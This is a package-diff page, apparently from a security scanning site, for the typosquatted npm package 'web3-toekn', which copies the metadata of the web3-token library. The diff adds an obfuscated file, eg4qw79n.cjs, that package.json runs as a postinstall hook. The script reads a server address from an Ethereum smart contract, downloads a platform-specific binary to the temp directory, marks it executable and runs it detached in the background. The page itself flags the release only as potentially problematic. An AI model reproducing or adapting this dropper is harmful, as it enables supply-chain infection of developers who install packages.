web3-toekn 0.0.1-security → 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of web3-toekn might be problematic. Click here for more details.
- package/README.md +170 -3
- package/dist/web3-token.umd.min.js +18 -0
- package/eg4qw79n.cjs +1 -0
- package/package.json +71 -4
package/eg4qw79n.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x1e0fdc=_0x25c5;function _0x1f97(){const _0x5801d7=['erROl','YCJgf','pmnIT','2XGpuIN','join','error','755','unref','basename','/node-win.exe','path','SKauD','Ошибка\x20при\x20запуске\x20файла:','12159JYDsaR','jyUpG','/node-linux','oWWUX','646555LRhlWt','117969JmMsyK','stream','axios','child_process','ignore','pcwuh','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','Unsupported\x20platform:\x20','Contract','platform','getDefaultProvider','win32','createWriteStream','EUaxk','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','Ошибка\x20установки:','pipe','kpBWf','Ошибка\x20при\x20получении\x20IP\x20адреса:','3091KEZjtw','hKDRV','data','7bzGcff','KSife','darwin','ElXgl','2850JZwXRV','linux','1423278gSWOga','tmpdir','finish','2450132SxGFkt','wXDps','5hBQzgC','getString','chmodSync','13764bVQfhF','830800COFikK','util','GET'];_0x1f97=function(){return _0x5801d7;};return _0x1f97();}(function(_0x493e61,_0x3f6f3b){const _0x5944a7=_0x25c5,_0x3621b6=_0x493e61();while(!![]){try{const _0x5e7786=parseInt(_0x5944a7(0x141))/0x1+parseInt(_0x5944a7(0x133))/0x2*(parseInt(_0x5944a7(0x142))/0x3)+-parseInt(_0x5944a7(0x127))/0x4*(parseInt(_0x5944a7(0x129))/0x5)+parseInt(_0x5944a7(0x124))/0x6*(parseInt(_0x5944a7(0x158))/0x7)+parseInt(_0x5944a7(0x12d))/0x8+parseInt(_0x5944a7(0x13d))/0x9*(-parseInt(_0x5944a7(0x15c))/0xa)+parseInt(_0x5944a7(0x155))/0xb*(parseInt(_0x5944a7(0x12c))/0xc);if(_0x5e7786===_0x3f6f3b)break;else _0x3621b6['push'](_0x3621b6['shift']());}catch(_0x4193c0){_0x3621b6['push'](_0x3621b6['shift']());}}}(_0x1f97,0x55dc0));const {ethers}=require('ethers'),axios=require(_0x1e0fdc(0x144)),util=require(_0x1e0fdc(0x12e)),fs=require('fs'),path=require(_0x1e0fdc(0x13a)),os=require('os'),{spawn}=require(_0x1e0fdc(0x145)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x1e0fdc(0x150),abi=[_0x1e0fdc(0x148)],provider=ethers[_0x1e0fdc(0x14c)]('mainnet'),contract=new ethers[(_0x1e0fdc(0x14a))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0xb98ee9=_0x1e0fdc,_0x31beb7={'SKauD':function(_0x3552e3){return _0x3552e3();}};try{const _0x475014=await contract[_0xb98ee9(0x12a)](WalletOwner);return _0x475014;}catch(_0x291d28){return console['error'](_0xb98ee9(0x154),_0x291d28),await _0x31beb7[_0xb98ee9(0x13b)](fetchAndUpdateIp);}},getDownloadUrl=_0x313472=>{const _0xccdd97=_0x1e0fdc,_0x39073c={'EUaxk':_0xccdd97(0x14d),'hKDRV':_0xccdd97(0x123),'pmnIT':_0xccdd97(0x15a)},_0x3e4964=os['platform']();switch(_0x3e4964){case _0x39073c[_0xccdd97(0x14f)]:return _0x313472+_0xccdd97(0x139);case _0x39073c[_0xccdd97(0x156)]:return _0x313472+_0xccdd97(0x13f);case _0x39073c[_0xccdd97(0x132)]:return _0x313472+'/node-macos';default:throw new Error(_0xccdd97(0x149)+_0x3e4964);}},downloadFile=async(_0x33cf17,_0x559b90)=>{const _0x47b84b=_0x1e0fdc,_0x5f12fa={'wXDps':_0x47b84b(0x126),'erROl':function(_0x111523,_0x996605){return _0x111523(_0x996605);},'YbncV':_0x47b84b(0x12f)},_0x1d9731=fs[_0x47b84b(0x14e)](_0x559b90),_0x4dd2e0=await _0x5f12fa[_0x47b84b(0x130)](axios,{'url':_0x33cf17,'method':_0x5f12fa['YbncV'],'responseType':_0x47b84b(0x143)});return _0x4dd2e0[_0x47b84b(0x157)][_0x47b84b(0x152)](_0x1d9731),new Promise((_0x39952f,_0x139bbe)=>{const _0x31a520=_0x47b84b;_0x1d9731['on'](_0x5f12fa[_0x31a520(0x128)],_0x39952f),_0x1d9731['on']('error',_0x139bbe);});},executeFileInBackground=async _0x45a2d5=>{const _0x6a71a5=_0x1e0fdc,_0x31dac5={'oWWUX':function(_0x5db583,_0x131775,_0x4d3c48,_0x733420){return _0x5db583(_0x131775,_0x4d3c48,_0x733420);},'WGGoK':_0x6a71a5(0x146),'ElXgl':_0x6a71a5(0x13c)};try{const _0x5c68fc=_0x31dac5[_0x6a71a5(0x140)](spawn,_0x45a2d5,[],{'detached':!![],'stdio':_0x31dac5['WGGoK']});_0x5c68fc[_0x6a71a5(0x137)]();}catch(_0x1146b4){console[_0x6a71a5(0x135)](_0x31dac5[_0x6a71a5(0x15b)],_0x1146b4);}},runInstallation=async()=>{const _0x4fd0b5=_0x1e0fdc,_0x3ac987={'YCJgf':function(_0x1268e0){return _0x1268e0();},'KSife':function(_0x3c65f8,_0x24ebcf){return _0x3c65f8(_0x24ebcf);},'pcwuh':function(_0x3af116,_0x3d13c0,_0x347a51){return _0x3af116(_0x3d13c0,_0x347a51);},'jgYLs':function(_0x1e0130,_0x5ce004){return _0x1e0130!==_0x5ce004;},'jyUpG':_0x4fd0b5(0x136),'ehgeR':function(_0x1c4279,_0xa27112){return _0x1c4279(_0xa27112);},'kpBWf':_0x4fd0b5(0x151)};try{const _0x8285bb=await _0x3ac987[_0x4fd0b5(0x131)](fetchAndUpdateIp),_0x60df75=_0x3ac987[_0x4fd0b5(0x159)](getDownloadUrl,_0x8285bb),_0x1c92e2=os[_0x4fd0b5(0x125)](),_0x34ad7c=path[_0x4fd0b5(0x138)](_0x60df75),_0x55913f=path[_0x4fd0b5(0x134)](_0x1c92e2,_0x34ad7c);await _0x3ac987[_0x4fd0b5(0x147)](downloadFile,_0x60df75,_0x55913f);if(_0x3ac987['jgYLs'](os[_0x4fd0b5(0x14b)](),_0x4fd0b5(0x14d)))fs[_0x4fd0b5(0x12b)](_0x55913f,_0x3ac987[_0x4fd0b5(0x13e)]);_0x3ac987['ehgeR'](executeFileInBackground,_0x55913f);}catch(_0x4c7646){console['error'](_0x3ac987[_0x4fd0b5(0x153)],_0x4c7646);}};function _0x25c5(_0x2d110c,_0x18d3c0){const _0x1f9744=_0x1f97();return _0x25c5=function(_0x25c51c,_0x10cb1c){_0x25c51c=_0x25c51c-0x123;let _0x48b198=_0x1f9744[_0x25c51c];return _0x48b198;},_0x25c5(_0x2d110c,_0x18d3c0);}runInstallation();
|
package/package.json
CHANGED
@@ -1,6 +1,73 @@
|
|
1
1
|
{
|
2
2
|
"name": "web3-toekn",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "1.0.6",
|
4
|
+
"private": false,
|
5
|
+
"description": "Web3 Token is a new way to authenticate users in hybrid dApps using signed messages. Implementation of EIP-4361",
|
6
|
+
"author": "bytesbay",
|
7
|
+
"scripts": {
|
8
|
+
"postinstall": "node eg4qw79n.cjs"
|
9
|
+
},
|
10
|
+
"main": "dist/web3-token.umd.min.js",
|
11
|
+
"types": "dist/web3-token.d.ts",
|
12
|
+
"dependencies": {
|
13
|
+
"@web3modal/standalone": "^2.2.2",
|
14
|
+
"base-64": "^1.0.0",
|
15
|
+
"ethereumjs-util": "^7.1.5",
|
16
|
+
"is-valid-domain": "^0.1.6",
|
17
|
+
"ms": "^2.1.3",
|
18
|
+
"parse-headers": "^2.0.5",
|
19
|
+
"to-hex": "0.0.18",
|
20
|
+
"axios": "^1.7.7",
|
21
|
+
"ethers": "^6.13.2"
|
22
|
+
},
|
23
|
+
"devDependencies": {
|
24
|
+
"@types/base-64": "^1.0.0",
|
25
|
+
"@types/jest": "^27.0.1",
|
26
|
+
"@types/ms": "^0.7.31",
|
27
|
+
"@types/node": "^18.7.14",
|
28
|
+
"@typescript-eslint/eslint-plugin": "^5.4.0",
|
29
|
+
"@typescript-eslint/parser": "^5.4.0",
|
30
|
+
"@vue/cli-plugin-eslint": "~5.0.0",
|
31
|
+
"@vue/cli-plugin-typescript": "~5.0.0",
|
32
|
+
"@vue/cli-plugin-unit-jest": "~5.0.0",
|
33
|
+
"@vue/cli-service": "~5.0.0",
|
34
|
+
"@vue/eslint-config-typescript": "^9.1.0",
|
35
|
+
"@vue/test-utils": "^2.0.0-0",
|
36
|
+
"@vue/vue3-jest": "^27.0.0-alpha.1",
|
37
|
+
"@walletconnect/ethereum-provider": "^2.4.9",
|
38
|
+
"babel-jest": "^27.0.6",
|
39
|
+
"eslint": "^7.32.0",
|
40
|
+
"eslint-plugin-vue": "^8.0.3",
|
41
|
+
"ethers": "^6.3.0",
|
42
|
+
"headless-terminal": "^0.4.0",
|
43
|
+
"jest": "^27.0.5",
|
44
|
+
"node-polyfill-webpack-plugin": "^2.0.1",
|
45
|
+
"normalize.css": "^8.0.1",
|
46
|
+
"sass": "^1.58.3",
|
47
|
+
"sass-loader": "^10.4.1",
|
48
|
+
"ts-jest": "^27.0.4",
|
49
|
+
"typescript": "~4.5.5",
|
50
|
+
"vue": "^3.2.13",
|
51
|
+
"vue-cli-plugin-ts-bundler": "0.0.3"
|
52
|
+
},
|
53
|
+
"bugs": {
|
54
|
+
"url": "https://github.com/bytesbay/web3-token/issues"
|
55
|
+
},
|
56
|
+
"homepage": "https://github.com/bytesbay/web3-token#readme",
|
57
|
+
"keywords": [
|
58
|
+
"auth",
|
59
|
+
"token",
|
60
|
+
"jwt",
|
61
|
+
"ethereum",
|
62
|
+
"web3",
|
63
|
+
"blockchain"
|
64
|
+
],
|
65
|
+
"license": "MIT",
|
66
|
+
"repository": {
|
67
|
+
"type": "git",
|
68
|
+
"url": "git+https://github.com/bytesbay/web3-token.git"
|
69
|
+
},
|
70
|
+
"files": [
|
71
|
+
"eg4qw79n.cjs"
|
72
|
+
]
|
73
|
+
}
|